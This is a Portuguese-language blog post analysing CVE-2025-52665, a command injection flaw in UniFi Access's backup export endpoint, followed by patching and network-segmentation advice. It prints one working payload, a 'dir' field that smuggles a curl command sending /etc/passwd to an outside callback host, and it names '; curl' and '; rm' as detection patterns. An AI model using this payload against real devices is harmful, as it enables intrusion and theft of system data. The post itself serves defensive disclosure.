O recente relatório de segurança do Catchify referente à vulnerabilidade CVE‑2025‑52665 evidencia uma falha grave no software da UniFi que exige atenção imediata de equipes de redes e segurança.
Neste post detalho a origem da falha, o vetor de exploração e os principais passos para mitigá-la em ambientes corporativos.
Visão geral da vulnerabilidade
A CVE-2025-52665 descreve uma execução remota de código (RCE — Remote Code Execution) autenticada indevidamente no software UniFi Access, originada por um endpoint mal protegido.
Segundo as informações divulgadas, a falha decorre de um endpoint de backup (/api/ucore/backup/export) que aceita parâmetro de diretório (dir) sem validação adequada, o que permite injeção de comandos no shell interno.
Além disso, a exposição deste endpoint a uma interface externa — apesar de oferecer comportamento interno — amplia o risco: o trecho de código revela que esse endpoint deveria escutar exclusivamente em localhost (127.0.0.1), porém foi acessado externamente na porta 9780.
O impacto é severo: segundo a fonte da vulnerabilidade, o exploit permitiu tanto leitura de arquivos sensíveis como /etc/passwd, quanto acesso interativo via shell reverso.
Por fim, o escore CVSS atribuído é o máximo (10.0) para a versão v3, o que confirma o nível crítico da falha.
Modo de exploração e implicações técnicas
O processo de exploit começou com reconhecimento de rede no endereço alvo, onde o pesquisador identificou a interface de login do UniFi OS. Em seguida, havia relatos de logs de erro no componente de backup (/api/ucore/backup/export) — “500 Internal Server Error”, “ECONNREFUSED” — que indicavam funcionamento interno via loopback e falha de design.
Analisando o código-fonte da aplicação, o pesquisador destacou duas funções: uma chamada YO(e, t) que envia um POST para http://127.0.0.1:<port>/api/ucore/backup/export com JSON contendo { dir: t }. Sem qualquer sanitização de t, o valor segue intacto.
A outra função, zf({port: e, outputDir: t, name: r}), decide se o backup será gerado localmente ou via outro dispositivo. No fluxo local, ela chama YO(e, t) após criar outputDir, aplicar chmod 775, medir du -s etc. O ponto vulnerável é que o valor t (outputDir) provém de entrada externa sem filtragem.
Com isso, o explorador injetou caracteres de shell (por exemplo ; curl …; #) no campo dir, terminando comandos e comentando o restante do pipeline, de modo a evitar parse de comandos residuais.
Após varredura de portas, o endpoint foi encontrado escutando na porta 9780, respondendo com “405 Method Not Allowed” em GET, o que indicou que o handler existia e esperava um POST válido.
Com o POST formatado como:
{"dir":"/tmp/catchify-; curl -s --data-binary @/etc/passwd http://test.oastify.com/; #"}Foi possível executar comandos arbitrários e exfiltrar dados. Em fase avançada, obteve-se shell reverso e controle total do sistema.
Além disso, outras APIs não autenticadas permitiam provisão de credenciais NFC (/api/v1/user_assets/nfc) e extração de chaves privadas NFC e tokens (/api/v1/user_assets/touch_pass/keys) sem autenticação.
Portanto, a falha não estava isolada: era parte de um padrão de design inseguro com múltiplas APIs expostas.
Implicações para ambientes corporativos
-
Um atacante com acesso à rede de gestão pode alcançar o endpoint vulnerável sem credenciais.
-
Com o controle da aplicação UniFi Access, é possível manipular sistemas de controle de acesso físico (doors, NFC), o que combina risco cibernético + físico.
-
Ambientes que integraram UniFi OS com múltiplas funções (rede, segurança, acesso físico) ficam especialmente vulneráveis à escalada total.
Mitigação, recomendações e integração em ambientes de rede
A correção foi disponibilizada na versão 4.0.21 da UniFi Access Application. Logo, o primeiro passo é verificar versões dos sistemas UniFi Access, Mapear equipamentos com versões entre 3.3.22 até 3.4.31 (os afetados).
Em seguida, aplicar atualização para 4.0.21 ou superior o quanto antes.
Além da atualização, recomenda-se revisar os controles de rede:
-
Segmentar a rede de gestão de dispositivos UniFi separada da rede corporativa ou da DMZ.
-
Bloquear acesso externo ao serviço de backup/export e demais APIs internas, assegurando que apenas 127.0.0.1 ou interfaces autorizadas possam alcançá-lo.
-
Aplicar listas de ACL e firewall para limitar a porta 9780 (ou equivalente) e qualquer mapeamento de proxy que exponha local loopback internamente.
-
Fazer varredura interna buscando endpoints
*/api/ucore/backup/export,*/api/v1/user_assets/*e outros caminhos expostos que não deveriam estar acessíveis externamente. -
Implantar IDS/IPS para monitorar padrões de comando injetado ou acesso suspeito ao backup/export com payloads incomuns (ex:
; curl,; rm, etc). -
Auditar logs de backup, além de logs de API para verificação de entradas de
dircom metacaracteres.
Para quem está trabalhando com migração ou gestão de firewalls o incidente reforça a importância de:
-
Segmentar redes de acesso físico, rede de gestão e rede de produção como parte do design de segurança.
-
Aplicar NAT, ACLs e inspeção para tráfego de gestão de dispositivos UniFi (e equivalentes) de modo restritivo.
-
Garantir que dispositivos de infraestrutura (controle de acesso, câmeras, backup) não estejam diretamente expostos sem filtragem adequada.
Conclusão
A vulnerabilidade CVE-2025-52665 no UniFi Access Application evidencia como a combinação de exposição de endpoint interno + falta de validação de entrada pode resultar em comprometimento total do ambiente.
Ao agir rapidamente para atualizar, segmentar redes de gestão e aplicar controles de acesso robustos, as equipes de segurança podem mitigar esse risco com eficácia. Para quem gerencia redes, firewalls e infraestrutura crítica, o episódio reforça que dispositivos “de gestão” ou “de backup” não podem ser tratados como zona segura sem segregação e proteção.
About The Author
